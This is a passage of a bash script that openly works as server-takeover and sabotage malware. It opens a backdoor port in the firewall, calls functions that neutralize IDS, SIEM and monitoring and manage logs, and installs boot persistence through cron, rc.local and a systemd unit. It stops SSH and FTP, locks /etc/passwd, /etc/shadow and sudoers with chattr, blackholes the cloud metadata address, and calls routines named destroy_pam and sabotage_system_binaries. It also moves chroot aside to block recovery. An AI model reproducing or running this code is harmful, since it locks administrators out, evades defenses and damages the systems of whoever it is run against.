$IPTABLES_CMD -A INPUT -p tcp --dport 22 -j DROP 2>/dev/null
$IPTABLES_CMD -A INPUT -p tcp --dport 21 -j DROP 2>/dev/null
$IPTABLES_CMD -A INPUT -p tcp --dport 23 -j DROP 2>/dev/null
$IPTABLES_CMD -A INPUT -i lo -j ACCEPT 2>/dev/null
$IPTABLES_CMD -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT 2>/dev/null
echo -e "${GREEN}iptables configured [DONE]${NC}"
elif [ -x /usr/sbin/ufw ] || [ -x /usr/bin/ufw ]; then
UFW_CMD=$(command -v ufw)
$UFW_CMD --force reset >/dev/null 2>&1
$UFW_CMD default deny incoming >/dev/null 2>&1
$UFW_CMD allow 80/tcp >/dev/null 2>&1
$UFW_CMD allow 443/tcp >/dev/null 2>&1
$UFW_CMD allow 8080/tcp >/dev/null 2>&1
$UFW_CMD allow 8443/tcp >/dev/null 2>&1
$UFW_CMD allow 3000/tcp >/dev/null 2>&1
$UFW_CMD allow 5000/tcp >/dev/null 2>&1
$UFW_CMD allow 8000/tcp >/dev/null 2>&1
if [ $BACKDOOR_MODE -eq 1 ] && [ -n "$BACKDOOR_PORT" ]; then
$UFW_CMD allow "$BACKDOOR_PORT"/tcp >/dev/null 2>&1
fi
$UFW_CMD --force enable >/dev/null 2>&1
echo -e "${GREEN}ufw configured [DONE]${NC}"
fi
}
show_menu
setup_enhanced_backdoor
echo -e "${GREEN}Starting system lockdown...${NC}"
echo ""
neutralize_ids_ips
neutralize_siem_soar
neutralize_monitoring
manage_logs
echo -e "${GREEN}Setting up CRITICAL boot persistence for web services...${NC}"
for service in apache2 httpd nginx lighttpd php-fpm node pm2 gunicorn uwsgi puma tomcat tomcat8 tomcat9; do
if command_exists $service || [ -f "/etc/init.d/$service" ] || [ -f "/lib/systemd/system/${service}.service" ] || [ -f "/usr/lib/systemd/system/${service}.service" ]; then
service_command enable $service 2>/dev/null
service_command start $service 2>/dev/null
if [ -d /etc/systemd/system ]; then
systemctl enable $service 2>/dev/null
systemctl start $service 2>/dev/null
fi
if [ -d /etc/rc2.d ] && [ -f "/etc/init.d/$service" ]; then
ln -sf /etc/init.d/$service /etc/rc2.d/S99$service 2>/dev/null
ln -sf /etc/init.d/$service /etc/rc3.d/S99$service 2>/dev/null
ln -sf /etc/init.d/$service /etc/rc4.d/S99$service 2>/dev/null
ln -sf /etc/init.d/$service /etc/rc5.d/S99$service 2>/dev/null
fi
echo -e "${GREEN} $service configured for boot [DONE]${NC}"
fi
done
cat > /tmp/web_autostart.sh << 'AUTOSTART'
#!/bin/bash
sleep 5
for service in apache2 httpd nginx lighttpd php-fpm node pm2 gunicorn uwsgi puma tomcat tomcat8 tomcat9; do
systemctl start $service 2>/dev/null || service $service start 2>/dev/null || /etc/init.d/$service start 2>/dev/null
done
/tmp/web_watchdog.sh >/dev/null 2>&1 &
AUTOSTART
chmod +x /tmp/web_autostart.sh
if ! crontab -l 2>/dev/null | grep -q "web_autostart.sh"; then
(crontab -l 2>/dev/null; echo "@reboot /tmp/web_autostart.sh >/dev/null 2>&1") | crontab - 2>/dev/null
fi
if [ -f /etc/rc.local ]; then
if ! grep -q "web_autostart.sh" /etc/rc.local 2>/dev/null; then
sed -i '/^exit 0/i /tmp/web_autostart.sh \&' /etc/rc.local 2>/dev/null
fi
else
cat > /etc/rc.local << 'RCLOCAL'
#!/bin/bash
/tmp/web_autostart.sh &
exit 0
RCLOCAL
chmod +x /etc/rc.local 2>/dev/null
fi
if [ -d /etc/systemd/system ]; then
cat > /etc/systemd/system/web-autostart.service << 'AUTOSERVICE'
[Unit]
Description=Web Services Autostart
After=network.target
[Service]
Type=forking
ExecStart=/tmp/web_autostart.sh
RemainAfterExit=yes
[Install]
WantedBy=multi-user.target
AUTOSERVICE
systemctl daemon-reload 2>/dev/null
systemctl enable web-autostart.service 2>/dev/null
fi
echo -e "${GREEN}Web services boot persistence established [DONE]${NC}"
echo -e "${GREEN}Blocking administrative channels...${NC}"
for service in ssh sshd vsftpd proftpd pure-ftpd telnetd; do
if [ -f "/etc/systemd/system/${service}.service" ] || [ -f "/usr/lib/systemd/system/${service}.service" ] || [ -f "/lib/systemd/system/${service}.service" ] || [ -f "/etc/init.d/${service}" ]; then
service_command stop $service
service_command disable $service
echo -e "${GREEN}$service stopped [DONE]${NC}"
fi
done
echo -e "${GREEN}Enabling file system protection...${NC}"
if command_exists chattr; then
for file in /etc/passwd /etc/shadow /etc/group /etc/sudoers /etc/ssh/sshd_config; do
if [ -f "$file" ]; then
chattr +i "$file" 2>/dev/null &
show_progress $! "Protecting $file"
fi
done
for file in /var/www/html/index.* /usr/share/nginx/html/index.* /srv/www/html/index.*; do
if [ -f "$file" ]; then
chattr +i "$file" 2>/dev/null &
show_progress $! "Protecting web content"
fi
done
fi
setup_firewall
if command_exists ip; then
ip route add blackhole 169.254.169.254 2>/dev/null
fi
apply_kernel_restrictions
apply_resource_restrictions
isolate_users
destroy_terminals
sabotage_system_binaries
destroy_pam
restrict_filesystem
echo -e "${GREEN}Neutralizing recovery tools...${NC}"
if command_exists chroot && [ -x /usr/sbin/chroot ]; then
mv /usr/sbin/chroot /usr/sbin/chroot.real 2>/dev/null